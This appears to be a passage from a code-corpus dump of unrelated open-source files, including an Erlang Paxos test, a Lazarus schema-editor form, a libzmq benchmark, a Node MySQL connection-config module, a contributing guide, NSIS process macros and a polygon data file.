gen_component:bp_barrier(comm:make_local(Proposer2)),\n gen_component:bp_del(comm:make_local(Proposer2), bp2),\n gen_component:bp_cont(comm:make_local(Proposer2)),\n\n %% should receive also an abort\n receive\n {learner_decide, cpaxid124, _, Res4} = Any4 -> io:format(\"Expected prepared Received ~p~n\", [Any4])\n end,\n\n ?assert(Res3 =:= Res4),\n ct:pal(\"done.~n\"),\n _ = [ gen_component:kill(comm:make_local(X))\n || X <- lists:flatten([Proposers, Acceptors, Learners])],\n ok.\n\n%% userdevguide-begin paxos_SUITE:random_interleaving_test\n-spec prop_rnd_interleave(1..4, 4..16)\n -> true.\nprop_rnd_interleave(NumProposers, NumAcceptors) ->\n ct:pal(\"Called with: paxos_SUITE:prop_rnd_interleave(~p, ~p).~n\",\n [NumProposers, NumAcceptors]),\n Majority = NumAcceptors div 2 + 1,\n {Proposers, Acceptors, Learners} =\n make(NumProposers, NumAcceptors, 1, rnd_interleave),\n %% set bp on all processes\n _ = [ gen_component:bp_set(comm:make_local(X), ?proposer_initialize, bp)\n || X <- Proposers],\n _ = [ gen_component:bp_set(comm:make_local(X), acceptor_initialize, bp)\n || X <- Acceptors ],\n _ = [ gen_component:bp_set(comm:make_local(X), learner_initialize, bp)\n || X <- Learners],\n %% start paxos instances\n _ = [ proposer:start_paxosid(X, paxidrndinterl, Acceptors,\n proposal, Majority, NumProposers, Y)\n || {X,Y} <- lists:zip(Proposers, lists:seq(1, NumProposers)) ],\n _ = [ acceptor:start_paxosid(X, paxidrndinterl, Learners)\n || X <- Acceptors ],\n _ = [ learner:start_paxosid(X, paxidrndinterl, Majority,\n comm:this(), cpaxidrndinterl)\n || X <- Learners],\n %% randomly step through protocol\n Steps = step_until_decide(Proposers ++ Acceptors ++ Learners, cpaxidrndinterl, 0),\n ct:pal(\"Needed ~p steps~n\", [Steps]),\n _ = [ gen_component:kill(comm:make_local(X))\n || X <- lists:flatten([Proposers, Acceptors, Learners])],\n true.\n\nstep_until_decide(Processes, PaxId, SumSteps) ->\n %% io:format(\"Step ~p~n\", [SumSteps]),\n Runnable = [ X || X <- Processes, gen_component:runnable(comm:make_local(X)) ],\n case Runnable of\n [] ->\n ct:pal(\"No runnable processes of ~p~n\", [length(Processes)]),\n timer:sleep(5), step_until_decide(Processes, PaxId, SumSteps);\n _ ->\n Num = randoms:uniform(length(Runnable)),\n _ = gen_component:bp_step(comm:make_local(lists:nth(Num, Runnable))),\n receive\n {learner_decide, cpaxidrndinterl, _, _Res} = _Any ->\n %% io:format(\"Received ~p~n\", [_Any]),\n SumSteps\n after 0 -> step_until_decide(Processes, PaxId, SumSteps + 1)\n end\n end.\n%% userdevguide-end paxos_SUITE:random_interleaving_test\n\ntest_rnd_interleave(_Config) ->\n tester:test(paxos_SUITE, prop_rnd_interleave, _Params = 2, _Iter = 100).\n"} {"text": "unit frmMain;\n\n{$mode objfpc}{$H+}\n\ninterface\n\nuses\n Classes, SysUtils, Forms, Controls, Graphics, Dialogs, ExtCtrls, ComCtrls,\n ActnList, Menus, IniPropStorage, frasqldbfullrestschemaaditor, mrumanager;\n\ntype\n\n { TMainForm }\n\n TMainForm = class(TForm)\n aQuit: TAction;\n ASchemaNew: TAction;\n ASaveSchemaAs: TAction;\n ASaveSchema: TAction;\n ALoadSchema: TAction;\n AFileWriteConnections: TAction;\n AFileReadConnections: TAction;\n alMain: TActionList;\n ILMain: TImageList;\n IPSMain: TIniPropStorage;\n MIRecent: TMenuItem;\n MFile: TMenuItem;\n MIReadConnections: TMenuItem;\n MRUSchema: TMRUMenuManager;\n MWriteConnections: TMenuItem;\n MISchemaLoad: TMenuItem;\n MISchemaSave: TMenuItem;\n MISaveSchemaAs: TMenuItem;\n MISchemaNew: TMenuItem;\n MISep2: TMenuItem;\n MIQuit: TMenuItem;\n N1: TMenuItem;\n MMain: TMainMenu;\n fraEditor: TSchemaEditorFrame;\n odConnection: TOpenDialog;\n ODSchema: TOpenDialog;\n SDSchema: TSaveDialog;\n sdConnection: TSaveDialog;\n TreeView1: TTreeView;\n procedure AFileReadConnectionsExecute(Sender: TObject);\n procedure AFileWriteConnectionsExecute(Sender: TObject);\n procedure ALoadSchemaExecute(Sender: TObject);\n procedure aQuitExecute(Sender: TObject);\n procedure ASaveSchemaAsExecute(Sender: TObject);\n procedure ASaveSchemaExecute(Sender: TObject);\n procedure ASchemaNewExecute(Sender: TObject);\n procedure FormCloseQuery(Sender: TObject; var CanClose: boolean);\n procedure FormCreate(Sender: TObject);\n procedure IPSMainRestoreProperties(Sender: TObject);\n procedure IPSMainSaveProperties(Sender: TObject);\n procedure MRUSchemaRecentFile(Sender: TObject; const AFileName: String);\n private\n FBaseCaption,\n FFileName : String;\n procedure DoSchemaChanged(Sender: TObject);\n function SaveSchema : Boolean;\n function SaveSchemaAs : Boolean;\n function LoadSchema : Boolean;\n Function CheckSave : Boolean;\n Procedure LoadSchemaFile(const aFileName : String);\n Procedure SaveSchemaFile(const aFileName : String);\n Procedure SetCaption;\n public\n\n end;\n\nvar\n MainForm: TMainForm;\n\nimplementation\n\n\n{$R *.lfm}\n\nuses sqldbrestbridge, sqldbrestini;\n\nresourcestring\n SSchemaChanged = 'Schema changed';\n SSchemaChangedSave = 'The schema has changed. %sDo you wish to save your changes?';\n SSaveSchema = 'Save schema';\n SDoNotSaveSchema = 'Do not save schema';\n SCancel = 'Cancel';\n SNewFile = 'New schema';\n\n{ TMainForm }\n\nprocedure TMainForm.AFileReadConnectionsExecute(Sender: TObject);\n\nbegin\n With ODConnection do\n if Execute then\n fraEditor.LoadConnections(FileName);\nend;\n\n\nprocedure TMainForm.AFileWriteConnectionsExecute(Sender: TObject);\nbegin\n With SDConnection do\n if Execute then\n fraEditor.SaveConnections(FileName);\nend;\n\nprocedure TMainForm.ALoadSchemaExecute(Sender: TObject);\nbegin\n if CheckSave then\n LoadSchema;\nend;\n\nprocedure TMainForm.aQuitExecute(Sender: TObject);\nbegin\n Close\nend;\n\nprocedure TMainForm.ASaveSchemaAsExecute(Sender: TObject);\nbegin\n SaveSchemaAs;\nend;\n\nprocedure TMainForm.ASaveSchemaExecute(Sender: TObject);\nbegin\n SaveSchema\nend;\n\nfunction TMainForm.SaveSchema : Boolean;\n\nbegin\n if FFileName='' then\n Result:=SaveSchemaAs\n else\n begin\n SaveSchemaFile(FFileName);\n Result:=True;\n end;\nend;\n\nprocedure TMainForm.DoSchemaChanged(Sender: TObject);\nbegin\n SetCaption;\nend;\n\nfunction TMainForm.SaveSchemaAs : Boolean;\n\nbegin\n with SDSchema do\n begin\n FileName:=Self.FFileName;\n Result:=Execute;\n if Result then\n SaveSchemaFile(FileName);\n end;\nend;\n\nfunction TMainForm.LoadSchema: Boolean;\nbegin\n Result:= CheckSave;\n if not Result then\n exit;\n with ODSchema do\n begin\n Result:=Execute;\n if Result then\n LoadSchemaFile(FileName);\n end;\nend;\n\nfunction TMainForm.CheckSave: Boolean;\n\nbegin\n Result:=Not fraEditor.SchemaModified;\n if Result then\n exit;\n case QuestionDlg(SSchemaChanged, Format(SSchemaChangedSave, [LineEnding]), mtWarning, [mrYes, SSaveSchema, mrNo,\n SDoNotSaveSchema, mrCancel, SCancel], 0) of\n mrYes: Result:=SaveSchema;\n mrNo: Result:=True;\n mrCancel: Result:=False;\n end;\nend;\n\nprocedure TMainForm.LoadSchemaFile(const aFileName: String);\nbegin\n fraEditor.LoadSchema(aFileName);\n FFileName:=aFileName;\n MRUSchema.AddToRecent(aFileName);\n SetCaption;\nend;\n\nprocedure TMainForm.SaveSchemaFile(const aFileName: String);\nbegin\n FraEditor.SaveSchema(aFileName);\n FFileName:=aFileName;\n MRUSchema.AddToRecent(aFileName);\n SetCaption;\nend;\n\nprocedure TMainForm.SetCaption;\n\nVar\n S : String;\n\nbegin\n S:=FFileName;\n If (S='') then\n S:=SNewFile;\n if fraEditor.SchemaModified then\n S:=S+'*';\n Caption:=FBaseCaption+' ['+S+']';\nend;\n\nprocedure TMainForm.ASchemaNewExecute(Sender: TObject);\nbegin\n if CheckSave then\n begin\n fraEditor.ClearSchema;\n FFileName:='';\n SetCaption;\n end;\nend;\n\nprocedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: boolean);\nbegin\n CanClose:=CheckSave;\nend;\n\nprocedure TMainForm.FormCreate(Sender: TObject);\n\nVar\n FN : String;\n\nbegin\n FBaseCaption:=Caption;\n FN:=GetAppConfigFile(False,False);\n IPSMain.IniFileName:=FN;\n IPSMain.Active:=True;\n IPSMain.Restore;\n MRUSchema.ShowRecentFiles;\n fraEditor.OnSchemaChanged:=@DoSchemaChanged;\n if Application.HasOption('c','connections') then\n fraEditor.LoadConnections(Application.GetOptionValue('c','connections'));\n if Application.HasOption('s','schema') then\n LoadSchemaFile(Application.GetOptionValue('s','schema'))\n else\n SetCaption;\nend;\n\nprocedure TMainForm.IPSMainRestoreProperties(Sender: TObject);\nbegin\n fraEditor.LoadSession(IPSMain);\nend;\n\nprocedure TMainForm.IPSMainSaveProperties(Sender: TObject);\nbegin\n fraEditor.SaveSession(IPSMain);\nend;\n\nprocedure TMainForm.MRUSchemaRecentFile(Sender: TObject; const AFileName: String);\nbegin\n LoadSchemaFile(aFileName);\nend;\n\nend.\n\n"} {"text": "/*\n Copyright (c) 2018 Contributors as noted in the AUTHORS file\n\n This file is part of libzmq, the ZeroMQ core engine in C++.\n\n libzmq is free software; you can redistribute it and/or modify it under\n the terms of the GNU Lesser General Public License (LGPL) as published\n by the Free Software Foundation; either version 3 of the License, or\n (at your option) any later version.\n\n As a special exception, the Contributors give you permission to link\n this library with independent modules to produce an executable,\n regardless of the license terms of these independent modules, and to\n copy and distribute the resulting executable under terms of your choice,\n provided that you also meet, for each linked independent module, the\n terms and conditions of the license of that module. An independent\n module is a module which is not derived from or based on this library.\n If you modify this library, you must extend this exception to your\n version of the library.\n\n libzmq is distributed in the hope that it will be useful, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public\n License for more details.\n\n You should have received a copy of the GNU Lesser General Public License\n along with this program. If not, see <http://www.gnu.org/licenses/>.\n*/\n\n#if __cplusplus >= 201103L\n\n#include \"radix_tree.hpp\"\n#include \"trie.hpp\"\n\n#include <chrono>\n#include <cstddef>\n#include <cstdio>\n#include <random>\n#include <ratio>\n#include <vector>\n\nconst std::size_t nkeys = 10000;\nconst std::size_t nqueries = 1000000;\nconst std::size_t warmup_runs = 10;\nconst std::size_t samples = 10;\nconst std::size_t key_length = 20;\nconst char *chars = \"abcdefghijklmnopqrstuvwxyz0123456789\";\nconst int chars_len = 36;\n\ntemplate <class T>\nvoid benchmark_lookup (T &subscriptions_,\n std::vector<unsigned char *> &queries_)\n{\n using namespace std::chrono;\n std::vector<duration<long, std::nano> > samples_vec;\n samples_vec.reserve (samples);\n\n for (std::size_t run = 0; run < warmup_runs; ++run) {\n for (auto &query : queries_)\n subscriptions_.check (query, key_length);\n }\n\n for (std::size_t run = 0; run < samples; ++run) {\n duration<long, std::nano> interval (0);\n for (auto &query : queries_) {\n auto start = steady_clock::now ();\n subscriptions_.check (query, key_length);\n auto end = steady_clock::now ();\n interval += end - start;\n }\n samples_vec.push_back (interval / queries_.size ());\n }\n\n std::size_t sum = 0;\n for (const auto &sample : samples_vec)\n sum += sample.count ();\n std::printf (\"Average lookup time = %.1lf ns\\n\",\n static_cast<double> (sum) / samples);\n}\n\nint main ()\n{\n // Generate input set.\n std::minstd_rand rng (123456789);\n std::vector<unsigned char *> input_set;\n std::vector<unsigned char *> queries;\n input_set.reserve (nkeys);\n queries.reserve (nqueries);\n\n for (std::size_t i = 0; i < nkeys; ++i) {\n unsigned char *key = new unsigned char[key_length];\n for (std::size_t j = 0; j < key_length; j++)\n key[j] = static_cast<unsigned char> (chars[rng () % chars_len]);\n input_set.emplace_back (key);\n }\n for (std::size_t i = 0; i < nqueries; ++i)\n queries.push_back (input_set[rng () % nkeys]);\n\n // Initialize both data structures.\n //\n // Keeping initialization out of the benchmarking function helps\n // heaptrack detect peak memory consumption of the radix tree.\n zmq::trie_t trie;\n zmq::radix_tree_t radix_tree;\n for (auto &key : input_set) {\n trie.add (key, key_length);\n radix_tree.add (key, key_length);\n }\n\n // Create a benchmark.\n std::printf (\"keys = %llu, queries = %llu, key size = %llu\\n\",\n static_cast<unsigned long long> (nkeys),\n static_cast<unsigned long long> (nqueries),\n static_cast<unsigned long long> (key_length));\n std::puts (\"[trie]\");\n benchmark_lookup (trie, queries);\n\n std::puts (\"[radix_tree]\");\n benchmark_lookup (radix_tree, queries);\n\n for (auto &op : input_set)\n delete[] op;\n}\n\n#else\n\nint main ()\n{\n}\n\n#endif\n"} {"text": "var urlParse = require('url').parse;\nvar ClientConstants = require('./protocol/constants/client');\nvar Charsets = require('./protocol/constants/charsets');\nvar SSLProfiles = null;\n\nmodule.exports = ConnectionConfig;\nfunction ConnectionConfig(options) {\n if (typeof options === 'string') {\n options = ConnectionConfig.parseUrl(options);\n }\n\n this.host = options.host || 'localhost';\n this.port = options.port || 3306;\n this.localAddress = options.localAddress;\n this.socketPath = options.socketPath;\n this.user = options.user || undefined;\n this.password = options.password || undefined;\n this.database = options.database;\n this.connectTimeout = (options.connectTimeout === undefined)\n ? (10 * 1000)\n : options.connectTimeout;\n this.insecureAuth = options.insecureAuth || false;\n this.supportBigNumbers = options.supportBigNumbers || false;\n this.bigNumberStrings = options.bigNumberStrings || false;\n this.dateStrings = options.dateStrings || false;\n this.debug = options.debug;\n this.trace = options.trace !== false;\n this.stringifyObjects = options.stringifyObjects || false;\n this.timezone = options.timezone || 'local';\n this.flags = options.flags || '';\n this.queryFormat = options.queryFormat;\n this.pool = options.pool || undefined;\n this.ssl = (typeof options.ssl === 'string')\n ? ConnectionConfig.getSSLProfile(options.ssl)\n : (options.ssl || false);\n this.multipleStatements = options.multipleStatements || false;\n this.typeCast = (options.typeCast === undefined)\n ? true\n : options.typeCast;\n\n if (this.timezone[0] === ' ') {\n // \"+\" is a url encoded char for space so it\n // gets translated to space when giving a\n // connection string..\n this.timezone = '+' + this.timezone.substr(1);\n }\n\n if (this.ssl) {\n // Default rejectUnauthorized to true\n this.ssl.rejectUnauthorized = this.ssl.rejectUnauthorized !== false;\n }\n\n this.maxPacketSize = 0;\n this.charsetNumber = (options.charset)\n ? ConnectionConfig.getCharsetNumber(options.charset)\n : options.charsetNumber || Charsets.UTF8_GENERAL_CI;\n\n // Set the client flags\n var defaultFlags = ConnectionConfig.getDefaultFlags(options);\n this.clientFlags = ConnectionConfig.mergeFlags(defaultFlags, options.flags);\n}\n\nConnectionConfig.mergeFlags = function mergeFlags(defaultFlags, userFlags) {\n var allFlags = ConnectionConfig.parseFlagList(defaultFlags);\n var newFlags = ConnectionConfig.parseFlagList(userFlags);\n\n // Merge the new flags\n for (var flag in newFlags) {\n if (allFlags[flag] !== false) {\n allFlags[flag] = newFlags[flag];\n }\n }\n\n // Build flags\n var flags = 0x0;\n for (var flag in allFlags) {\n if (allFlags[flag]) {\n // TODO: Throw here on some future release\n flags |= ClientConstants['CLIENT_' + flag] || 0x0;\n }\n }\n\n return flags;\n};\n\nConnectionConfig.getCharsetNumber = function getCharsetNumber(charset) {\n var num = Charsets[charset.toUpperCase()];\n\n if (num === undefined) {\n throw new TypeError('Unknown charset \\'' + charset + '\\'');\n }\n\n return num;\n};\n\nConnectionConfig.getDefaultFlags = function getDefaultFlags(options) {\n var defaultFlags = [\n '-COMPRESS', // Compression protocol *NOT* supported\n '-CONNECT_ATTRS', // Does *NOT* send connection attributes in Protocol::HandshakeResponse41\n '+CONNECT_WITH_DB', // One can specify db on connect in Handshake Response Packet\n '+FOUND_ROWS', // Send found rows instead of affected rows\n '+IGNORE_SIGPIPE', // Don't issue SIGPIPE if network failures\n '+IGNORE_SPACE', // Let the parser ignore spaces before '('\n '+LOCAL_FILES', // Can use LOAD DATA LOCAL\n '+LONG_FLAG', // Longer flags in Protocol::ColumnDefinition320\n '+LONG_PASSWORD', // Use the improved version of Old Password Authentication\n '+MULTI_RESULTS', // Can handle multiple resultsets for COM_QUERY\n '+ODBC', // Special handling of ODBC behaviour\n '-PLUGIN_AUTH', // Does *NOT* support auth plugins\n '+PROTOCOL_41', // Uses the 4.1 protocol\n '+PS_MULTI_RESULTS', // Can handle multiple resultsets for COM_STMT_EXECUTE\n '+RESERVED', // Unused\n '+SECURE_CONNECTION', // Supports Authentication::Native41\n '+TRANSACTIONS' // Expects status flags\n ];\n\n if (options && options.multipleStatements) {\n // May send multiple statements per COM_QUERY and COM_STMT_PREPARE\n defaultFlags.push('+MULTI_STATEMENTS');\n }\n\n return defaultFlags;\n};\n\nConnectionConfig.getSSLProfile = function getSSLProfile(name) {\n if (!SSLProfiles) {\n SSLProfiles = require('./protocol/constants/ssl_profiles');\n }\n\n var ssl = SSLProfiles[name];\n\n if (ssl === undefined) {\n throw new TypeError('Unknown SSL profile \\'' + name + '\\'');\n }\n\n return ssl;\n};\n\nConnectionConfig.parseFlagList = function parseFlagList(flagList) {\n var allFlags = Object.create(null);\n\n if (!flagList) {\n return allFlags;\n }\n\n var flags = !Array.isArray(flagList)\n ? String(flagList || '').toUpperCase().split(/\\s*,+\\s*/)\n : flagList;\n\n for (var i = 0; i < flags.length; i++) {\n var flag = flags[i];\n var offset = 1;\n var state = flag[0];\n\n if (state === undefined) {\n // TODO: throw here on some future release\n continue;\n }\n\n if (state !== '-' && state !== '+') {\n offset = 0;\n state = '+';\n }\n\n allFlags[flag.substr(offset)] = state === '+';\n }\n\n return allFlags;\n};\n\nConnectionConfig.parseUrl = function(url) {\n url = urlParse(url, true);\n\n var options = {\n host : url.hostname,\n port : url.port,\n database : url.pathname.substr(1)\n };\n\n if (url.auth) {\n var auth = url.auth.split(':');\n options.user = auth.shift();\n options.password = auth.join(':');\n }\n\n if (url.query) {\n for (var key in url.query) {\n var value = url.query[key];\n\n try {\n // Try to parse this as a JSON expression first\n options[key] = JSON.parse(value);\n } catch (err) {\n // Otherwise assume it is a plain string\n options[key] = value;\n }\n }\n }\n\n return options;\n};\n"} {"text": "# Contributing to AppAuth\n\nAll contributions to AppAuth for Android are welcome!\n\nNote that as this library is planned to be used in high-profile production code,\nwe insist on a very high standards for the code and design, but don't feel shy:\ndiscuss your plans over \n[GitHub Issues](https://github.com/openid/AppAuth-Android/issues) and the\n[mailing list](http://lists.openid.net/mailman/listinfo/openid-specs-ab), and\nsend in those pull requests!\n\n# Signing the Agreements\n\nIn order to contribute to this project, you need to execute two legal agreements\nthat cover your contributions. Pull requests from users who have not signed\nthese agreements will not be merged.\n\n## Execute the Contributor License Agreement (CLA)\n\n1. Visit http://openid.net/contribution-license-agreement/\n2. Tap *Execute OpenID Foundation Contribution License Agreement* for the\n version relevant to you (Individual or Corporate).\n3. Follow the instructions to sign the agreement.\n\n## Execute the Working Group Contribution Agreement\n\nIn addition to the Code License Agreement, the OpenID Foundation also requires\na working group contribution agreement to cover any contributions you may make\ntowards the OpenID Connect spec itself (e.g. in comments, bug reports, feature\nrequests).\n\n1. Visit http://openid.net/intellectual-property/\n2. Tap *Execute Contributor Agreement By Electronic Signature* in the box\n marked *Resources*.\n3. Follow the instructions to sign the document, state `OpenID AB/Connect` as\n the Initial Working Group.\n\n# Making a Pull Request\n\n## Before you Start\n\nBefore you work on a big new feature, get in touch to make sure that your work\nis inline with the direction of the project and get input on your architecture.\nYou can file an [Issue](https://github.com/openid/AppAuth-Android/issues)\ndiscussing your proposal, or email the \n[list](http://lists.openid.net/mailman/listinfo/openid-specs-ab). \n\n## Coding Standards\n\nThe AppAuth library follows the\n[Google Coding Style](https://google.github.io/styleguide/javaguide.html) for\nthe Java language. Please review your own code for adherence to the standard\nand make sure to run the `check` gradle target.\n\n## Pull Request Reviews\n\nAll pull requests, even by members who have repository write access need to be\nreviewed and marked as \"LGTM\" before they will be merged.\n\n"} {"text": "typedef int bool;\r\n\r\n/**************** BEGIN GUSI CONFIGURATION ****************************\r\n *\r\n * GUSI Configuration section generated by GUSI Configurator\r\n * last modified: Wed Aug 1 15:37:20 2001\r\n *\r\n * This section will be overwritten by the next run of Configurator.\r\n */\r\n\r\n#define GUSI_SOURCE\r\n#include <GUSIConfig.h>\r\n#include <sys/cdefs.h>\r\n\r\n/* Declarations of Socket Factories */\r\n\r\n__BEGIN_DECLS\r\nvoid GUSIwithInetSockets();\r\nvoid GUSIwithLocalSockets();\r\nvoid GUSIwithMTInetSockets();\r\nvoid GUSIwithMTTcpSockets();\r\nvoid GUSIwithMTUdpSockets();\r\nvoid GUSIwithOTInetSockets();\r\nvoid GUSIwithOTTcpSockets();\r\nvoid GUSIwithOTUdpSockets();\r\nvoid GUSIwithPPCSockets();\r\nvoid GUSISetupFactories();\r\n__END_DECLS\r\n\r\n/* Configure Socket Factories */\r\n\r\nvoid GUSISetupFactories()\r\n{\r\n#ifdef GUSISetupFactories_BeginHook\r\n\tGUSISetupFactories_BeginHook\r\n#endif\r\n\tGUSIwithInetSockets();\r\n#ifdef GUSISetupFactories_EndHook\r\n\tGUSISetupFactories_EndHook\r\n#endif\r\n}\r\n\r\n/* Declarations of File Devices */\r\n\r\n__BEGIN_DECLS\r\nvoid GUSIwithDConSockets();\r\nvoid GUSIwithNullSockets();\r\nvoid GUSISetupDevices();\r\n__END_DECLS\r\n\r\n/* Configure File Devices */\r\n\r\nvoid GUSISetupDevices()\r\n{\r\n#ifdef GUSISetupDevices_BeginHook\r\n\tGUSISetupDevices_BeginHook\r\n#endif\r\n\tGUSIwithNullSockets();\r\n#ifdef GUSISetupDevices_EndHook\r\n\tGUSISetupDevices_EndHook\r\n#endif\r\n}\r\n\r\n#ifndef __cplusplus\r\n#error GUSISetupConfig() needs to be written in C++\r\n#endif\r\n\r\nGUSIConfiguration::FileSuffix\tsSuffices[] = {\r\n\t\"\", '????', '????'\r\n};\r\n\r\nextern \"C\" void GUSISetupConfig()\r\n{\r\n\tGUSIConfiguration * config =\r\n\t\tGUSIConfiguration::CreateInstance(GUSIConfiguration::kNoResource);\r\n\r\n\tconfig->ConfigureSuffices(\r\n\t\tsizeof(sSuffices)/sizeof(GUSIConfiguration::FileSuffix)-1, sSuffices);\r\n}\r\n\r\n/**************** END GUSI CONFIGURATION *************************/\r\n"} {"text": "polygon\n1\n\t8.929115E+00\t4.583344E+01\n\t8.929143E+00\t4.583323E+01\n\t8.929158E+00\t4.583314E+01\n\t8.929150E+00\t4.583264E+01\n\t8.929073E+00\t4.583244E+01\n\t8.929062E+00\t4.583230E+01\n\t8.929314E+00\t4.583206E+01\n\t8.929314E+00\t4.583199E+01\n\t8.929066E+00\t4.583176E+01\n\t8.929004E+00\t4.583156E+01\n\t8.929004E+00\t4.583132E+01\n\t8.929053E+00\t4.583092E+01\n\t8.928954E+00\t4.583023E+01\n\t8.928986E+00\t4.583009E+01\n\t8.929078E+00\t4.582989E+01\n\t8.929296E+00\t4.582954E+01\n\t8.929420E+00\t4.582934E+01\n\t8.929489E+00\t4.582925E+01\n\t8.929663E+00\t4.582918E+01\n\t8.930227E+00\t4.582905E+01\n\t8.930642E+00\t4.582891E+01\n\t8.930722E+00\t4.582889E+01\n\t8.931551E+00\t4.582895E+01\n\t8.931712E+00\t4.582895E+01\n\t8.932002E+00\t4.582851E+01\n\t8.932101E+00\t4.582839E+01\n\t8.933117E+00\t4.582868E+01\n\t8.934961E+00\t4.582928E+01\n\t8.935123E+00\t4.582930E+01\n\t8.935370E+00\t4.582927E+01\n\t8.935763E+00\t4.582919E+01\n\t8.935825E+00\t4.582918E+01\n\t8.936060E+00\t4.582911E+01\n\t8.936258E+00\t4.582907E+01\n\t8.938211E+00\t4.582961E+01\n\t8.939309E+00\t4.582956E+01\n\t8.940359E+00\t4.582944E+01\n\t8.940584E+00\t4.582945E+01\n\t8.941665E+00\t4.582960E+01\n\t8.942319E+00\t4.582968E+01\n\t8.942961E+00\t4.582980E+01\n\t8.943123E+00\t4.582982E+01\n\t8.943539E+00\t4.582949E+01\n\t8.944065E+00\t4.582897E+01\n\t8.945187E+00\t4.582920E+01\n\t8.945276E+00\t4.582896E+01\n\t8.946133E+00\t4.582899E+01\n\t8.947809E+00\t4.582908E+01\n\t8.947856E+00\t4.582964E+01\n\t8.949797E+00\t4.582971E+01\n\t8.950717E+00\t4.583042E+01\n\t8.951265E+00\t4.583090E+01\n\t8.953311E+00\t4.583253E+01\n\t8.955224E+00\t4.583394E+01\n\t8.956623E+00\t4.583500E+01\n\t8.955844E+00\t4.583729E+01\n\t8.958898E+00\t4.583728E+01\n\t8.958872E+00\t4.583757E+01\n\t8.959776E+00\t4.583759E+01\n\t8.960609E+00\t4.583757E+01\n\t8.961003E+00\t4.583758E+01\n\t8.961524E+00\t4.583762E+01\n\t8.961953E+00\t4.583756E+01\n\t8.962116E+00\t4.583756E+01\n\t8.962207E+00\t4.583764E+01\n\t8.962279E+00\t4.583794E+01\n\t8.962172E+00\t4.583871E+01\n\t8.961965E+00\t4.583916E+01\n\t8.961711E+00\t4.583927E+01\n\t8.961455E+00\t4.583932E+01\n\t8.961094E+00\t4.583931E+01\n\t8.960969E+00\t4.583944E+01\n\t8.960851E+00\t4.583982E+01\n\t8.959554E+00\t4.584031E+01\n\t8.959488E+00\t4.584033E+01\n\t8.958916E+00\t4.584061E+01\n\t8.957067E+00\t4.584122E+01\n\t8.956622E+00\t4.584141E+01\n\t8.956269E+00\t4.584168E+01\n\t8.955829E+00\t4.584299E+01\n\t8.956318E+00\t4.584348E+01\n\t8.955478E+00\t4.584336E+01\n\t8.954641E+00\t4.584335E+01\n\t8.953801E+00\t4.584323E+01\n\t8.953570E+00\t4.584278E+01\n\t8.953304E+00\t4.584247E+01\n\t8.953136E+00\t4.584244E+01\n\t8.952055E+00\t4.584291E+01\n\t8.951346E+00\t4.584290E+01\n\t8.949470E+00\t4.584347E+01\n\t8.948891E+00\t4.584349E+01\n\t8.947264E+00\t4.584284E+01\n\t8.946771E+00\t4.584269E+01\n\t8.945837E+00\t4.584245E+01\n\t8.941671E+00\t4.584156E+01\n\t8.941007E+00\t4.584142E+01\n\t8.940423E+00\t4.584122E+01\n\t8.940276E+00\t4.584149E+01\n\t8.939915E+00\t4.584147E+01\n\t8.939399E+00\t4.584144E+01\n\t8.937935E+00\t4.584062E+01\n\t8.937500E+00\t4.584025E+01\n\t8.937042E+00\t4.583999E+01\n\t8.936104E+00\t4.583957E+01\n\t8.934355E+00\t4.583917E+01\n\t8.933839E+00\t4.583910E+01\n\t8.933184E+00\t4.583871E+01\n\t8.932985E+00\t4.583847E+01\n\t8.933108E+00\t4.583829E+01\n\t8.933103E+00\t4.583811E+01\n\t8.932548E+00\t4.583804E+01\n\t8.932094E+00\t4.583791E+01\n\t8.932340E+00\t4.583749E+01\n\t8.932396E+00\t4.583717E+01\n\t8.932324E+00\t4.583690E+01\n\t8.932189E+00\t4.583668E+01\n\t8.930784E+00\t4.583564E+01\n\t8.929686E+00\t4.583552E+01\n\t8.929065E+00\t4.583539E+01\n\t8.928925E+00\t4.583497E+01\n\t8.928818E+00\t4.583436E+01\n\t8.929225E+00\t4.583417E+01\n\t8.929415E+00\t4.583404E+01\n\t8.929475E+00\t4.583388E+01\n\t8.929115E+00\t4.583344E+01\nEND\nEND\n"} {"text": "!define nsProcess::FindProcess `!insertmacro nsProcess::FindProcess`\r\n\r\n!macro nsProcess::FindProcess _FILE _ERR\r\n\tnsProcess::_FindProcess /NOUNLOAD `${_FILE}`\r\n\tPop ${_ERR}\r\n!macroend\r\n\r\n\r\n!define nsProcess::KillProcess `!insertmacro nsProcess::KillProcess`\r\n\r\n!macro nsProcess::KillProcess _FILE _ERR\r\n\tnsProcess::_KillProcess /NOUNLOAD `${_FILE}`\r\n\tPop ${_ERR}\r\n!macroend\r\n\r\n\r\n!define nsProcess::Unload `!insertmacro nsProcess::Unload`\r\n\r\n!macro nsProcess::Unload\r\n\tnsProcess::_Unload\r\n!macroend\r\n"} {"text": "<!--\n/*\n * \n * WordPres版微信小程序\n * author: NiZerin\n * organization: 泽林博客 www.iacblog.com\n * github: https://github.com/CrazyNing98/WeChatMiniProgram-Blog\n * 技术支持微信号:NINGCZ19980501\n * 开源协议:MIT\n * Copyright (c) 2017 https://www.iacblog.com/ All rights reserved.\n *\n */-->\n<import src=\"../../wxParse/wxParse.wxml\" />\n<import src=\"../../templates/header.wxml\" />\n<import src=\"../../templates/copyright.wxml\" />\n\n<view class=\"container\">\n <view class=\"wrapper\">\n <image bindtap=\"posterImageClick\" data-src=\"{{posterImageUrl}}\" mode=\"widthFix\" class=\"posterimage\" src=\"{{posterImageUrl}}\"></image>\n </view>\n <view style='text-align:center'>\n <button class=\"gotowebpage-button\" formType=\"submit\" size=\"mini\" bindtap=\"savePosterImage\">保存图片</button>\n <modal title=\"{{dialog.title}}\" hidden=\"{{dialog.hidden}}\" no-cancel bindconfirm=\"confirm\">{{dialog.content}}</modal>\n </view>\n <view style=\"color: #888;font-size: 9pt;text-align: center;margin-top:10rpx\">保存至相册可以分享到朋友圈</view>\n\n<view class=\"copyright\">\n <template is=\"tempCopyright\" />\n</view>\n\n</view>"} {"text": "/**\n * Copyright 2019 vip.com.\n * <p>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * </p>\n */\n\npackage com.vip.pallas.utils;\n\nimport 